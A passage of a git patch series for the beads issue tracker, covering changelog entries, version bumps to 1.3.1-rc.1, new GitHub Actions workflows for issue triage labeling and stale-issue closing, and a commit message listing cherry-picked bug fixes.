demand, and 'bd dolt stop' shuts it down. Direct-server and embedded workspaces are unaffected.", + "CHANGE: 'bd dolt status --json' changes shape on a proxied workspace. It now reports the proxy and its dolt backend separately — {\"mode\": \"proxied-server\", \"running\": , \"proxy_pid\", \"proxy_port\", \"backend_managed\", \"backend_running\", \"backend_pid\", \"backend_port\", \"backend_endpoint\", \"idle_timeout\", \"root\"} — instead of the always-false {\"running\": false, \"pid\": 0, \"port\": 0} it emitted by reading a PID file proxied mode never writes. 'pid' and 'port' are gone, replaced by the proxy_*/backend_* pairs. 'running' now describes the proxy, the endpoint every bd command connects through, so it is usually true where it used to be always false; 'backend_managed' is false on external proxied topologies, where 'backend_endpoint' names the server bd does not manage. A script parsing the old payload changes behavior on upgrade.", + "FIX: a dotted config key now round-trips — what 'bd config set' writes is what 'bd config get' and bd's own readers find. Setting a key like 'sync.remote' or 'dolt.host' into a config.yaml with no matching section used to append a top-level key whose NAME contained the dot, which Viper finds and the direct reader GetStringFromDir does not; 'bd init --remote' in a fresh workspace was the ordinary way in, recording a remote no reader could locate. Dotted keys are written nested now, an existing flat spelling is migrated, and 'bd config unset' removes the nested form (it only ever matched the flat one, so unsetting 'sync.remote' silently left the remote live).", + "CHANGE: writing a dotted key nested has a consequence outside bd — 'bd config set ' DELETES a flat top-level key of the same literal name. Writing 'dolt.host' into a file that already carries a top-level 'dolt.host: \"10.0.0.1\"' removes that entry and re-emits the value under 'dolt:'; only the key being written is touched. .beads/config.yaml is not exclusively bd's, so an external tool that both writes AND reads flat dotted keys there stops seeing any value bd migrates this way. Realistic collisions are 'dolt.*', 'export.auto', and 'backup.enabled'. If that tool re-adds its flat key the file carries both spellings and bd's own readers disagree: Viper-backed reads ('bd config get', and the dolt.auto-start lookup on store open) return the FLAT value while GetStringFromDir returns the NESTED one, so a 'bd config set' can be shadowed by a stale flat entry. Tracked as #6594; until it lands, let the other tool own its keys, or check .beads/config.yaml for a duplicated key after running 'bd config set'.", + "CHANGE: two config writes that used to exit 0 now exit 1, because both produced a value no reader could see — setting a dotted key under a parent that already holds a scalar ('sync: enabled', then 'bd config set sync.remote'), and setting one in a file whose top level is not a mapping.", + }, + }, { Version: "1.3.0", Date: "2026-09-15", diff --git a/cmd/bd/version.go b/cmd/bd/version.go index 3bf32c13f..be648b593 100644 --- a/cmd/bd/version.go +++ b/cmd/bd/version.go @@ -16,7 +16,7 @@ import ( var ( // Version is the current version of bd (overridden by ldflags at build time) - Version = "1.3.0" + Version = "1.3.1-rc.1" // Build can be set via ldflags at compile time Build = "dev" // Commit and branch the git revision the binary was built from (optional ldflag) diff --git a/cmd/bd/winres/manifest.xml b/cmd/bd/winres/manifest.xml index 5623c89ce..aae5b5d6b 100644 --- a/cmd/bd/winres/manifest.xml +++ b/cmd/bd/winres/manifest.xml @@ -3,7 +3,7 @@ beads - AI-supervised issue tracker diff --git a/cmd/bd/winres/winres.json b/cmd/bd/winres/winres.json index b3c9a8137..c497b8a90 100644 --- a/cmd/bd/winres/winres.json +++ b/cmd/bd/winres/winres.json @@ -9,8 +9,8 @@ "#1": { "0000": { "fixed": { - "file_version": "1.3.0", - "product_version": "1.3.0", + "file_version": "1.3.1", + "product_version": "1.3.1", "type": "App" }, "info": { @@ -18,12 +18,12 @@ "Comments": "AI-supervised issue tracker for coding workflows", "CompanyName": "Steve Yegge", "FileDescription": "beads - AI-supervised issue tracker", - "FileVersion": "1.3.0", + "FileVersion": "1.3.1-rc.1", "InternalName": "bd", "LegalCopyright": "Copyright (c) 2024-2026 Steve Yegge. MIT License.", "OriginalFilename": "bd.exe", "ProductName": "beads", - "ProductVersion": "1.3.0" + "ProductVersion": "1.3.1-rc.1" } } } diff --git a/default.nix b/default.nix index 6bbc63ec4..cfe3c35bd 100644 --- a/default.nix +++ b/default.nix @@ -7,7 +7,7 @@ }: buildGoModule { pname = "beads"; - version = "1.3.0"; + version = "1.3.1-rc.1"; src = self; diff --git a/integrations/beads-mcp/pyproject.toml b/integrations/beads-mcp/pyproject.toml index 412c678c5..5832ba943 100644 --- a/integrations/beads-mcp/pyproject.toml +++ b/integrations/beads-mcp/pyproject.toml @@ -1,6 +1,6 @@ [project] name = "beads-mcp" -version = "1.3.0" +version = "1.3.1-rc.1" description = "MCP server for beads issue tracker." readme = "README.md" requires-python = ">=3.10" diff --git a/integrations/beads-mcp/src/beads_mcp/__init__.py b/integrations/beads-mcp/src/beads_mcp/__init__.py index 2c222f1f7..8118d4656 100644 --- a/integrations/beads-mcp/src/beads_mcp/__init__.py +++ b/integrations/beads-mcp/src/beads_mcp/__init__.py @@ -4,4 +4,4 @@ This package provides an MCP (Model Context Protocol) server that exposes beads (bd) issue tracker functionality to MCP Clients. """ -__version__ = "1.3.0" +__version__ = "1.3.1-rc.1" diff --git a/integrations/beads-mcp/uv.lock b/integrations/beads-mcp/uv.lock index 78ff50cd8..1ccf25835 100644 --- a/integrations/beads-mcp/uv.lock +++ b/integrations/beads-mcp/uv.lock @@ -175,7 +175,7 @@ wheels = [ [[package]] name = "beads-mcp" -version = "1.3.0" +version = "1.3.1rc1" source = { editable = "." } dependencies = [ { name = "fastmcp" }, diff --git a/npm-package/package.json b/npm-package/package.json index eedd8c5da..c9382b627 100644 --- a/npm-package/package.json +++ b/npm-package/package.json @@ -1,6 +1,6 @@ { "name": "@beads/bd", - "version": "1.3.0", + "version": "1.3.1-rc.1", "description": "Beads issue tracker - lightweight memory system for coding agents with native binary support", "main": "bin/bd.js", "bin": { diff --git a/plugins/beads/.claude-plugin/plugin.json b/plugins/beads/.claude-plugin/plugin.json index f861043e2..0ee54c8c7 100644 --- a/plugins/beads/.claude-plugin/plugin.json +++ b/plugins/beads/.claude-plugin/plugin.json @@ -1,7 +1,7 @@ { "name": "beads", "description": "AI-supervised issue tracker for coding workflows. Manage tasks, discover work, and maintain context with simple CLI commands.", - "version": "1.3.0", + "version": "1.3.1-rc.1", "author": { "name": "Steve Yegge", "url": "https://github.com/steveyegge" diff --git a/plugins/beads/.codex-plugin/plugin.json b/plugins/beads/.codex-plugin/plugin.json index bf76223b3..96958575f 100644 --- a/plugins/beads/.codex-plugin/plugin.json +++ b/plugins/beads/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "beads", - "version": "1.3.0", + "version": "1.3.1-rc.1", "description": "AI-supervised issue tracking for coding workflows with agent skills.", "author": { "name": "Steve Yegge", diff --git a/plugins/beads/.copilot-plugin/plugin.json b/plugins/beads/.copilot-plugin/plugin.json index 90a496a43..dd5cd6eff 100644 --- a/plugins/beads/.copilot-plugin/plugin.json +++ b/plugins/beads/.copilot-plugin/plugin.json @@ -1,7 +1,7 @@ { "name": "beads", "description": "AI-supervised issue tracker for coding workflows. Manage tasks, discover work, and maintain context with simple CLI commands.", - "version": "1.3.0", + "version": "1.3.1-rc.1", "author": { "name": "Steve Yegge", "url": "https://github.com/steveyegge" From 403e27c6dead4e128bf6b35483212a45481f15db Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Sat, 19 Sep 2026 14:37:19 -0700 Subject: [PATCH 056/624] ci: add needs-triage inbox labeling (mirrors gastownhall/gascity) (#6622) Beads has had no intake labeling: 829 open issues and 388 open PRs carry no kind/priority/status label, so the hourly PM triage patrol (Sarah, ADR-006), which only fetches status/needs-triage items, has processed a single item since 2026-07-17. Adds the five gascity workflows with the bot login swapped to gascityinc-sarah[bot]: - triage-label: add status/needs-triage on issue/PR open, reopen, ready_for_review (skips drafts) - remove-needs-triage: drop the inbox label when a non-status label is applied by anyone but the PM App - request-needs-info / remove-needs-info / close-stale-needs: the needs-info / needs-repro lifecycle the triage framework emits Existing open items are not relabeled by this change; a one-off backfill is a separate, explicit step. Co-authored-by: Claude Fable 5.1 --- .github/workflows/close-stale-needs.yml | 99 +++++++++++++++++++++++ .github/workflows/remove-needs-info.yml | 65 +++++++++++++++ .github/workflows/remove-needs-triage.yml | 61 ++++++++++++++ .github/workflows/request-needs-info.yml | 82 +++++++++++++++++++ .github/workflows/triage-label.yml | 41 ++++++++++ 5 files changed, 348 insertions(+) create mode 100644 .github/workflows/close-stale-needs.yml create mode 100644 .github/workflows/remove-needs-info.yml create mode 100644 .github/workflows/remove-needs-triage.yml create mode 100644 .github/workflows/request-needs-info.yml create mode 100644 .github/workflows/triage-label.yml diff --git a/.github/workflows/close-stale-needs.yml b/.github/workflows/close-stale-needs.yml new file mode 100644 index 000000000..9e0793973 --- /dev/null +++ b/.github/workflows/close-stale-needs.yml @@ -0,0 +1,99 @@ +name: Close stale needs-info / needs-repro issues + +on: + schedule: + - cron: '37 9 * * *' + workflow_dispatch: + +permissions: {} + +jobs: + close-needs-info: + runs-on: ubuntu-latest + permissions: + issues: write + steps: + - name: Close stale needs-info issues (14 days) + uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8 + with: + script: | + const labels = ['status/needs-info', 'status/needs-repro']; + const days = 14; + const cutoff = new Date(Date.now() - days * 24 * 60 * 60 * 1000); + + for (const label of labels) { + const issues = await github.paginate(github.rest.issues.listForRepo, { + owner: context.repo.owner, + repo: context.repo.repo, + state: 'open', + labels: label, + per_page: 100, + }); + + for (const issue of issues) { + if (issue.pull_request) continue; + + const events = await github.paginate(github.rest.issues.listEvents, { + owner: context.repo.owner, + repo: context.repo.repo, + issue_number: issue.number, + per_page: 100, + }); + + const labelEvents = events + .filter(e => e.event === 'labeled' && e.label?.name === label); + if (labelEvents.length === 0) continue; + + const labeledAt = new Date(Math.max( + ...labelEvents.map(e => new Date(e.created_at).getTime()) + )); + + const comments = await github.paginate(github.rest.issues.listComments, { + owner: context.repo.owner, + repo: context.repo.repo, + issue_number: issue.number, + since: labeledAt.toISOString(), + per_page: 100, + }); + + const visibleRequest = comments.find(c => { + if (c.user?.login === issue.user?.login) return false; + const lower = (c.body || '').toLowerCase(); + if (lower.includes('closing')) return false; + if (!/14\s*-?\s*days?/.test(lower)) return false; + if (!lower.includes('reply') && !lower.includes('respond')) return false; + if (label === 'status/needs-repro') return lower.includes('repro') || lower.includes('reproduction'); + return lower.includes('info') || lower.includes('information') || lower.includes('details'); + }); + + if (!visibleRequest) { + console.log(`No visible request for #${issue.number} (${label}), skipping.`); + continue; + } + + const requestAt = new Date(visibleRequest.created_at); + if (requestAt > cutoff) continue; + + const authorReplied = comments.some(c => + c.user?.login === issue.user?.login && + new Date(c.created_at) > requestAt + ); + if (authorReplied) continue; + + await github.rest.issues.createComment({ + owner: context.repo.owner, + repo: context.repo.repo, + issue_number: issue.number, + body: `Closing — this was marked \`${label}\` and a response was requested 14 or more days ago with no reply.\n\nIf this is still relevant, please reply with the requested details and we'll reopen.`, + }); + + await github.rest.issues.update({ + owner: context.repo.owner, + repo: context.repo.repo, + issue_number: issue.number, + state: 'closed', + state_reason: 'not_planned', + }); + console.log(`Closed #${issue.number} (${label}, requested ${requestAt.toISOString()})`); + } + } diff --git a/.github/workflows/remove-needs-info.yml b/.github/workflows/remove-needs-info.yml new file mode 100644 index 000000000..0cde73337 --- /dev/null +++ b/.github/workflows/remove-needs-info.yml @@ -0,0 +1,65 @@ +name: Remove needs-info on author response + +on: + issue_comment: + types: [created] + pull_request_target: + types: [synchronize] + +permissions: {} + +jobs: + # pull_request_target is safe here because this job never checks out or runs + # pull request code; it only removes labels from the issue/PR metadata. + remove-label: + runs-on: ubuntu-latest + permissions: + issues: write + pull-requests: write + steps: + - name: Remove needs-info / needs-repro on author response + uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8 + with: + script: | + const labels = ['status/needs-info', 'status/needs-repro']; + + let number, author; + if (context.eventName === 'issue_comment') { + number = context.payload.issue.number; + author = context.payload.issue.user.login; + if (context.payload.comment.user.login !== author) return; + } else { + number = context.payload.pull_request.number; + author = context.payload.pull_request.user.login; + if (context.payload.sender.login !== author) return; + } + + const current = await github.rest.issues.listLabelsOnIssue({ + owner: context.repo.owner, + repo: context.repo.repo, + issue_number: number, + }); + const currentNames = current.data.map(l => l.name); + + for (const label of labels) { + if (!currentNames.includes(label)) continue; + // Idempotent removal: concurrent triggers can race to remove the + // same label, leaving the loser with a 404 "Label does not + // exist". Treat an already-absent label as success rather than + // failing the job. + try { + await github.rest.issues.removeLabel({ + owner: context.repo.owner, + repo: context.repo.repo, + issue_number: number, + name: label, + }); + console.log(`Removed '${label}' from #${number}`); + } catch (err) { + if (err.status === 404) { + console.log(`'${label}' already absent from #${number} (concurrent removal); nothing to do`); + continue; + } + throw err; + } + } diff --git a/.github/workflows/remove-needs-triage.yml b/.github/workflows/remove-needs-triage.yml new file mode 100644 index 000000000..1a5a7b3ba --- /dev/null +++ b/.github/workflows/remove-needs-triage.yml @@ -0,0 +1,61 @@ +name: Remove needs-triage when triaged + +on: + issues: + types: [labeled] + pull_request_target: + types: [labeled] + +permissions: {} + +jobs: + # pull_request_target is safe here because this job never checks out or runs + # pull request code; it only removes labels from the issue/PR metadata. + remove-triage-label: + # Olivia owns label, comment, and inbox removal as one recoverable transaction. + if: github.event.sender.login != 'gascityinc-sarah[bot]' + runs-on: ubuntu-latest + permissions: + issues: write + pull-requests: write + steps: + - name: Remove needs-triage when a non-status label is added + uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8 + with: + script: | + const added = context.payload.label.name; + if (added.startsWith('status/')) return; + + const number = context.issue?.number || context.payload.pull_request?.number; + const target = 'status/needs-triage'; + + const current = await github.rest.issues.listLabelsOnIssue({ + owner: context.repo.owner, + repo: context.repo.repo, + issue_number: number, + }); + + if (!current.data.some(l => l.name === target)) return; + + // The check above narrows a race but cannot close it: adding + // several non-status labels at once fires one `labeled` event + // (and one job) each, and they run concurrently. Every run sees + // the label present here, then all race to remove it. The winner + // gets 204; the losers get 404 "Label does not exist". Treat an + // already-absent label as success so a benign lost race does not + // paint a red X on the PR's checks. + try { + await github.rest.issues.removeLabel({ + owner: context.repo.owner, + repo: context.repo.repo, + issue_number: number, + name: target, + }); + console.log(`Removed '${target}' from #${number} (triaged with '${added}')`); + } catch (err) { + if (err.status === 404) { + console.log(`'${target}' already absent from #${number} (concurrent removal); nothing to do`); + return; + } + throw err; + } diff --git a/.github/workflows/request-needs-info.yml b/.github/workflows/request-needs-info.yml new file mode 100644 index 000000000..9a561ae04 --- /dev/null +++ b/.github/workflows/request-needs-info.yml @@ -0,0 +1,82 @@ +name: Request repro or info from reporter + +on: + issues: + types: [labeled] + +permissions: {} + +jobs: + post-request: + runs-on: ubuntu-latest + permissions: + issues: write + steps: + - name: Post visible request comment for needs-repro or needs-info + uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8 + with: + script: | + const needsLabels = ['status/needs-info', 'status/needs-repro']; + const label = context.payload.label?.name; + if (!needsLabels.includes(label)) return; + + const number = context.payload.issue?.number; + if (!number) { + core.setFailed('Unable to determine issue number'); + return; + } + + const owner = context.repo.owner; + const repo = context.repo.repo; + const reporter = context.payload.issue?.user?.login; + + const events = await github.paginate(github.rest.issues.listEvents, { + owner, + repo, + issue_number: number, + per_page: 100, + }); + const labelEvents = events.filter(e => e.event === 'labeled' && e.label?.name === label); + const labeledAt = labelEvents.length + ? new Date(Math.max(...labelEvents.map(e => new Date(e.created_at).getTime()))) + : null; + + const existingComments = await github.paginate(github.rest.issues.listComments, { + owner, + repo, + issue_number: number, + ...(labeledAt ? { since: labeledAt.toISOString() } : {}), + per_page: 100, + }); + + const hasVisibleRequest = existingComments.some(c => { + if (reporter && c.user?.login === reporter) return false; + const lower = (c.body || '').toLowerCase(); + if (lower.includes('closing')) return false; + if (!/14\s*-?\s*days?/.test(lower)) return false; + if (!lower.includes('reply') && !lower.includes('respond')) return false; + if (label === 'status/needs-repro') return lower.includes('repro') || lower.includes('reproduction'); + return lower.includes('info') || lower.includes('information') || lower.includes('details'); + }); + + if (hasVisibleRequest) { + console.log(`Visible request already exists for #${number}, skipping.`); + return; + } + + const requestBodies = { + 'status/needs-repro': + 'Thanks for the report! To help us investigate, please reply with a minimal reproduction within 14 days.\n\n' + + 'If there is no response in that window, this issue may be closed — but you are welcome to respond or reopen it at any time.', + 'status/needs-info': + 'Thanks for the report! To help us investigate, please reply with the requested information or details within 14 days.\n\n' + + 'If there is no response in that window, this issue may be closed — but you are welcome to respond or reopen it at any time.', + }; + + await github.rest.issues.createComment({ + owner, + repo, + issue_number: number, + body: requestBodies[label], + }); + console.log(`Posted needs request for #${number} (${label})`); diff --git a/.github/workflows/triage-label.yml b/.github/workflows/triage-label.yml new file mode 100644 index 000000000..99c8807ff --- /dev/null +++ b/.github/workflows/triage-label.yml @@ -0,0 +1,41 @@ +name: Auto-label new issues and PRs + +on: + issues: + types: [opened, reopened] + pull_request_target: + types: [opened, reopened, ready_for_review] + +permissions: {} + +jobs: + # pull_request_target is safe here because this job never checks out or runs + # pull request code; it only labels the issue/PR from event metadata. + add-triage-label: + runs-on: ubuntu-latest + permissions: + issues: write + pull-requests: write + steps: + - name: Add needs-triage label + uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8 + with: + script: | + const pullRequest = context.payload.pull_request; + if (pullRequest?.draft) { + console.log(`Skipping draft PR #${pullRequest.number}`); + return; + } + + const number = context.issue?.number || pullRequest?.number; + if (!number) { + core.setFailed('Unable to determine issue or PR number'); + return; + } + + await github.rest.issues.addLabels({ + owner: context.repo.owner, + repo: context.repo.repo, + issue_number: number, + labels: ['status/needs-triage'] + }); From d0063ac894b41cb6b38d67724e4f3b9d89092103 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Mon, 21 Sep 2026 00:23:37 -0700 Subject: [PATCH 057/624] release/1.3.0: eleven cherry-picks for 1.3.1-rc.2 (#6653) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(storage): include custom active-category statuses in bd ready (#5831) (#5918) bd ready pins WorkFilter.Status to StatusOpen. BuildReadyWorkWhere treated that pin as an exact match, so issues in a custom status with category active never appeared — even though bd statuses --help, the ready_issues view (migration 0025), and ClaimableSourceStatusesInTx all treat that category as ready-eligible. Widen the singular StatusOpen clause to the same predicate the view uses: status = ? OR status IN (SELECT name FROM custom_statuses WHERE category = 'active') Non-open singular statuses stay exact. Built-in open still matches. Custom wip/done/frozen/unspecified statuses stay out, matching claim's GH-3570 anti-steal set. Reported by Justin Clemens (@justin-candor). Addresses #5831 (cherry picked from commit 66aa73bb992399a5feeeb900933784f00f027a2d) * fix(cli): `bd list --wisp-type` cannot match a row — register the plane knob it needs (#6098) `bd list --wisp-type heartbeat` returns an empty listing for EVERY input, and `bd list` exposes no flag that changes that. ListRequest.WispType is a predicate, not a plane selector — its own doc says so, and RunReaderListWispTypeNarrowsTheAdmittedPlaneRatherThanAdmittingIt pins it. That contract is right and this does not touch it. The doc also names the way out: The combination that answers with rows is IncludeEphemeral (or IncludeInfra) plus this, and it is lawful rather than refused. `bd list` registers neither `--include-ephemeral` nor `--all-types`. So of the two combinations the doc names, the CLI can express only IncludeInfra — which admits the plane AND lifts the infra-type exclusions AND changes the template treatment, three decisions a caller who wanted one classification did not ask for. The narrow knob the doc names FIRST has no flag at all. That is the whole defect: the API composes correctly, and the CLI is missing the other half of the pair. ## What this does 1. Registers `--include-ephemeral` on `bd list`, wired to `ListRequest.IncludeEphemeral` — the plane knob alone, off by default, so the default listing is byte-identical. 2. Refuses `--wisp-type` when no plane is admitted, with the fix in the hint, instead of printing an empty listing. The refusal is at the CLI layer ONLY. At the API layer the combination stays lawful and still composes to an empty page: that is the pinned contract, and a programmatic caller composing filters may legitimately land on it. A human typing `--wisp-type heartbeat` cannot have meant "prove to me that durable rows carry no classification", so the CLI is where the guess is safe to make. An explicit `--type` is deliberately left alone: an infra type routes to the plane by itself, so the request may well be satisfiable, and this layer cannot tell which types those are without loading the workspace's infra vocabulary. Refusing there would reject lawful, answerable requests. ## Verification --- PASS: TestListRegistersIncludeEphemeral --- PASS: TestGatherListInput_WispTypeWithoutAPlaneIsRefused --- PASS: TestGatherListInput_WispTypeWithAPlaneIsAccepted (3 subtests) --- PASS: TestGatherListInput_IncludeEphemeralReachesTheRequest The pair discriminates rather than being trivially green: a guard that refused every `--wisp-type` would pass the refusal test and fail all three acceptance subtests, one per route that admits the plane. `ok github.com/steveyegge/beads/cmd/bd`, `ok github.com/steveyegge/beads/internal/workapi`, `go build ./...` and `go vet` clean. `internal/workapi/list.go` and the golden corpus are untouched. docs/CLI_REFERENCE.md is not regenerated here: the docs pipeline builds from the release tag in docs/cli-docs.pin (v1.2.2), not from this checkout, so the new flag appears at the next release bump. Claude-Session: https://claude.ai/code/session_01X1jMLQTSrCwtzFRS1xeUC6 (cherry picked from commit cbf84cb1c007dfcb2beb7d64f795e1ba8b76ed17) * fix(list): honor --status when combined with --ready (#5924) * fix(list): honor --status when combined with --ready (#5832) `bd list --status X --ready` silently dropped --status and returned the unfiltered ready set (typically open issues). BuildListFilter pinned StatusOpen whenever ReadyFlag was set, and ReadyFilterFromIssueFilter hard-coded the same pin, so a custom status or in_progress selector never reached GetReadyWork. --ready without --status still defaults to open. An explicit --status is now the ready-work status selector, matching how other list filters already compose with --ready. `--status all` remains the no-filter spelling and keeps the open default. * fix(list): status-aware --ready footer and honor-path contract docs (#5832) The query intersection from the prior commit is unchanged. Round-1 review asked the ReadyFlag/Statuses contract comments and the text footer to describe the honor path: default --ready is still open, an explicit --status is named instead of "excludes in_progress". (cherry picked from commit f5a20fb66b6fd0893682eb9ed83d93320e0c809d) * fix(doctor): ignore the generated dolt-server-config.yaml (#5978) doltserver.Start() writes .beads/dolt-server-config.yaml when the resolved dolt binary supports auto_gc_behavior.archive_level. Its own doc comment says the file "lives alongside the other gitignored server state files in beadsDir", but the hyphenated name falls outside the "dolt-server." prefix shared by the other five entries, so both GitignoreTemplate and requiredPatterns missed it. The file holds an absolute cfg_dir and a per-machine port, so committing it breaks every other clone -- the same reason the template already gives for 'redirect'. It shows up as untracked in every consumer repo whose dolt supports archive_level. This repo does not see it because its own root .gitignore has a blanket .beads/* rule. Add the pattern to requiredPatterns as well as the template: the template only helps repos initialised after this change, while requiredPatterns is what missingGitignorePatterns() iterates, so it is what lets bd doctor --fix append the rule to an existing .beads/.gitignore. Co-authored-by: Adam Spiers (cherry picked from commit 671db6560dcfd312b82669c5909ef045c296a644) * fix(storage): stop recommending an inert config.yaml key for a missing prefix (#5936) ReadConfigPrefix gates on the database's config table row `issue_prefix`. When that row is absent its error told the operator that, "if using config.yaml, use key 'issue-prefix', not 'issue_prefix'" — but this gate never consults config.yaml. The YAML value is read one line above the error solely to populate a debug.Logf diagnostic; it is discarded, so setting `issue-prefix` in config.yaml leaves the gate failing exactly as before. Following the advice produces a tracked config field that changes nothing and misleads the next reader. Point the message at what actually writes the row — `bd init --prefix` or `bd bootstrap`, both of which it already named — and say plainly that the check reads the database's config table so the config.yaml key does not satisfy it. No resolution behavior changes; this is the error text only. Reported-by: @ncljesus Closes #5916 (cherry picked from commit 61ec85181f5baa3343aa53b166e30ba9490f4241) * fix(create): say --file is one issue per ## heading (#5921) bd create --file/-f is a batch-import route: it creates one issue per H2 ("##") heading, and ### subsections attach fields to that issue. The old Usage was "Create multiple issues from markdown file", which never named those semantics or --body-file. Callers who wanted "one issue, description loaded from a file" reached for the shortest flag and got a silent bulk import instead -- reported by @seanmartinsmith with a 3-section briefing file (## Problem / ## Context / ## Acceptance Criteria) that became 3 issues instead of one. gatherCreateInput already rejects a positional title combined with --file. That is the reporter's literal repro, so this keeps the rejection and adds a --body-file hint on the error they actually see. The remaining trap -- --file used alone on a section-headed file -- is unchanged, because bd cannot tell that apart from a genuine batch file by content. Tests: parseMarkdownFile reproduces the trap file; gatherCreateInput locks in the title+--file rejection and --body-file hint; flag Usage names the per-heading behavior. The existing TestCreateFromMarkdownFile binary path already covers well-formed --file creates. (cherry picked from commit 67b066b58e1fa9bff3ea4ec8eeb6ec28d0e35c9f) * fix(list): stop truncation hint padding a blank TTY line (#5927) printTruncationHint fed surrounding newlines through ui.RenderWarn. lipgloss treats that as a block, pads the blank lines to the widest-line width (alignTextHorizontal shortAmount = widestLine - lineWidth), and drops the trailing newline (GH#5685). The next shell prompt then prints on the same line as a run of spaces. Keep the newlines outside RenderWarn so the hint is one colored line with a real trailing newline. Tests construct an explicitly styled lipgloss Style so the padded blank-line shape fails if the helper is reverted. Fixes #5685. (cherry picked from commit 766c0bd15a7e368cf4541a48989cd328fed22ea1) * fix(setup/claude): keep settings.json's trailing newline and skip no-op rewrites (#5944) * fix(setup/claude): keep settings.json's trailing newline and skip no-op rewrites (#5693) bd setup claude (and bd init, which calls it) marshalled the Claude settings map with json.MarshalIndent and wrote it unconditionally. MarshalIndent emits no trailing newline, so every run stripped the one Claude Code's own writes leave behind, and re-wrote the file even when no hook changed. Because bd init git-adds .claude/settings.json, that surfaced as a staged diff with no semantic content. The same marshal-then-write pattern appears at four call sites in claude.go: installClaude's settings write and its settings.local.json migration, and removeClaude's settings write and its settings.local.json cleanup. Fixing one would have left the bug live in the other three, so both halves are now shared helpers -- marshalSettings appends the newline, writeSettingsIfChanged compares against the bytes already on disk and returns early when they match -- and all four sites go through them. Reported by @maphew. * chore(setup/claude): use the repo spelling "marshaled" in the new comments The misspell linter flags British "marshalled"; CI pins golangci-lint v2.10.1 and runs it with --new-from-merge-base, so both new comment lines are in scope. Comment text only, no behaviour change. (cherry picked from commit cad7e17d70d1df34890aae2547e4d428bf5b5c7f) * fix(gate): evaluate cross-rig bead gates via prefix routes (#5859) * fix(gate): route cross-rig bead checks (#5857) Evaluate historical rig:bead gate targets through the current read-only prefix routing seam in direct and proxied-server modes. Preserve local bead gates, reject malformed cross-rig values, and cover the real two-store route with a Dolt integration test. Agent-Signature: codex-unknown-model-unknown-reasoning on behalf of Klas Hesselman * fix(gate): address cross-rig review feedback (#5857) Preserve the original local not-found error when prefix routing is unavailable, document the user-visible behavior, and lock the proxied error contract with a regression test. Agent-Signature: codex-unknown-model-unknown-reasoning on behalf of Klas Hesselman (cherry picked from commit cbfc505e39a60514c57dcdb5afe155c8659647ba) * fix(storage/uow): retry transient ping failures during openDB bootstrap (#6003) * test(uow): red — pingWithRetry does not exist yet for openDB's boot-time ping Adds TestPingWithRetryRecoversFromATransientBadConn (be-x49l6): a fake pinger exercising three cases — transient error retries then recovers, non-transient error fails without retrying, and an already-cancelled context fails promptly. Fails to compile until pingWithRetry/pinger are added to dolt_sql_provider.go. * feat: green — Fix: unretried ping in uow openDB turns a transient Dolt connection drop into a hard CI failure (refs be-x49l6) * refactor: drop what-comment on pingWithRetry (self-review, refs be-x49l6) Self-review flagged it as restating the function's own signature/behavior rather than explaining a non-obvious why; the pinger and isTransientPingError comments stay since they carry rationale the code doesn't otherwise convey. * test(uow): red — a hung boot ping is not bounded per attempt Adds the two behaviours review #6003 asked for, both failing: - a_hung_ping_is_capped_per_attempt_and_retried: blockingPinger stalls until its context is cancelled. backoff.Retry bounds only the gap between attempts, so with the caller's context handed straight to PingContext the call never returns at all. The subtest runs the call off-goroutine so this reports as "never returned" instead of a package timeout. - connection-level_net_error_retries_then_recovers: a *net.OpError (connection refused / reset / broken pipe) is currently classified non-transient and fails the boot ping outright. the_caller's_own_deadline_fails_without_retrying passes already and is kept as the regression guard for the trap #6000 fell into: making context.DeadlineExceeded retryable must not make the caller's own expiry retryable too. pingWithRetry takes attemptTimeout here but does not honour it yet, so the red is behavioural rather than a compile error. Refs be-g1i7n. * fix(uow): bound each boot ping attempt and widen the transient classifier Review #6003, point 1. backoff.Retry bounds the gap between attempts but cannot interrupt one in flight, and the DSN sets a dial Timeout (5s) with no ReadTimeout — so a server that accepts TCP and then stalls mid-handshake blocked for the caller's entire context, which is the exact scenario the PR summary claims to fix. Each attempt now runs under its own context.WithTimeout (pingAttemptTimeout, 10s — above the 5s dial timeout so a real dial timeout still surfaces as itself), and context.DeadlineExceeded is classified transient so the retry loop actually continues. pingWithRetry checks the caller's context *before* classifying. That is what keeps the retryable DeadlineExceeded from swallowing the caller's own expiry — the inverse of the regression #6000 introduced by capping each attempt and then treating the resulting DeadlineExceeded as permanent. Covered from both sides: a_hung_ping_is_capped_per_attempt_and_retried and the_caller's_own_deadline_fails_without_retrying. Review #6003, point 2. isTransientPingError stays separate from internal/storage/dolt's isRetryableError, and now says why in full: that one is a query-time classifier matching on error text, admitting migration-lock, read-only and MySQL-1105 shapes a boot ping cannot be in because nothing has executed on the connection yet. The coverage gap the review named is closed on this side instead — *net.OpError is transient, which is refused/reset/broken-pipe portably and by type rather than by substring, with permanent DNS failures excluded so an unresolvable host still fails fast instead of spending the whole budget. Refs be-g1i7n. (cherry picked from commit c0d8da42de5fd15c95adac85e342ba4a121da0fb) * fix(deps): bump dolt/go past upstream manifest-missing-chunk defense (#4070) (#5931) * fix(deps): bump dolt/go past upstream manifest-missing-chunk defense (#4070) Pin github.com/dolthub/dolt/go to 796d074977417da931df65202a79e0a7f532a3db. That hop includes: - 23ccbf9442275166f168939277a5b4a348a63c9d — reject a file manifest update that references a missing table file (the defense itself) - 796d074977417da931df65202a79e0a7f532a3db — doc/test follow-up to the defense commit (no production-semantics change) A non-atomic backup sync can leave the backup manifest ahead of chunk files; subsequent syncs then fail with "table file not found" and stay broken. The upstream defense turns that silent corruption into a loud failed sync. Beads' previous pin (a6690826d767, 2026-07-15) predates both commits. Minimal-churn pin: do not bump to today's dolt tip. go mod tidy did not force a later version. This is a mitigation, not a root-cause fix: backup file+manifest publish remains non-atomic, and backups already in the manifest-ahead state are not repaired by this change. Mitigates #4070 * fix(nix): update vendorHash for the dolt/go bump The go.mod/go.sum bump in this PR invalidates the pinned vendorHash, so `nix build .#default` fails with a fixed-output hash mismatch. Update it to the value CI computed: specified: 